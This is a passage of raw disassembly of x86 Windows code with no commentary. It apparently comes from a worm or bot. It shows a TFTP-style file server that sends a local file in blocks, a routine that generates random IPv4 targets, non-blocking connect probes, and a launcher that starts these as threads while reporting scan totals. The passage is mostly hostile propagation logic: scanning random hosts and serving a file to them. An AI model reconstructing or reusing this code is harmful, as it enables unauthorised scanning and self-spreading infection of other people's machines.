		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_43F6B8	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43F680	; recv
		pop	esi

loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	ds:dword_43F700	; closesocket
		call	ds:dword_43F5C8	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172AE
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	ds:dword_43F6E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		call	ds:dword_424064	; Sleep
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	ds:dword_4450CC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	ds:dword_43F668	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	ds:dword_43F694	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		call	ds:dword_424064	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------

loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		call	ds:dword_424064	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417076
		add	esp, 28h
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h

loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_43F650	; select
		test	eax, eax
		jle	loc_4070B8
		mov	al, ds:byte_43C80C
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	ds:dword_43F640	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	ds:dword_43F6CC	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC

loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	ds:dword_43F6CC	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------

loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl

loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax

loc_407079:				; DATA XREF: _2:004282F8o _2:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	ds:dword_43F6CC	; sendto
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------

loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	ds:dword_43F6CC	; sendto

loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4

loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		call	ds:dword_424064	; Sleep
		push	esi

loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Dp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172AE
		cmp	ds:dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8

loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi

loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	ds:dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	ds:dword_43C848[eax*8]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------

loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, ds:dword_42F5AC
		push	edi
		mov	edi, offset dword_43D804
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_43DA14, eax
		mov	ds:dword_43DA10, ebx
		call	ds:off_424094
		push	103h
		mov	esi, offset dword_43D908
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	ds:dword_43D800, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	ds:dword_43DA98, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	ds:dword_43DA9C, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------

loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	ds:dword_43DA9C, ebx

loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	ds:dword_43DA14
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	ds:dword_43DA0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43D800
		push	offset sub_406C19
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, ds:dword_43DA0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_40738E

loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	ds:dword_43DAA0, ebx
		jnz	short loc_4073A9
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_40737C
; ---------------------------------------------------------------------------

loc_40738E:				; CODE XREF: sub_407252+128j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43DE5C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	ds:dword_43E068, ebx
		call	ds:off_424094
		push	103h
		mov	esi, offset dword_43DF60
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	ds:dword_43DE58, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	ds:dword_43E0F0, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	ds:dword_43E0F4, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------

loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	ds:dword_43E0F4, ebx

loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	ds:dword_43E06C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	ds:dword_43E064, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DE58
		push	offset sub_4053D5
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, ds:dword_43E064
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4074B2

loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	ds:dword_43E0F8, ebx
		jnz	loc_4075D5
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_40749C
; ---------------------------------------------------------------------------

loc_4074B2:				; CODE XREF: sub_407252+248j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------

loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	ds:dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_43DD34
		push	104h
		push	esi
		push	ebx
		call	ds:off_424094
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl

loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, ds:dword_42F5B0
		mov	ds:dword_43DE4C, ebx
		mov	ds:dword_43DE38, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DAAC
		call	sub_4172AE
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	ds:dword_43DAA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	ds:dword_43DE38
		mov	ds:dword_43DE44, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	ds:dword_43DE48, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	ds:dword_43DE40, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DAA8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, ds:dword_43DE40
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4075BA

loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	ds:dword_43DE54, ebx
		jnz	short loc_4075D5
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------

loc_4075BA:				; CODE XREF: sub_407252+354j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B1C8

loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43C848h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43F59C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_43F664	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------

loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730A
		mov	[ebp+var_C], eax

loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730A
		mov	[ebp+var_8], eax

loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730A
		mov	[ebp+var_4], eax

loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730A

loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_43C848[ecx*8],	eax

loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_43F6E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------

loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_43F668	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43F704	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43F610	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_43F650	; select
		push	esi
		mov	edi, eax
		call	ds:dword_43F700	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, ds:dword_4450C4[ebx]
		cmp	ds:dword_43C84C[eax*8],	0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------

loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6

loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_4450C4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
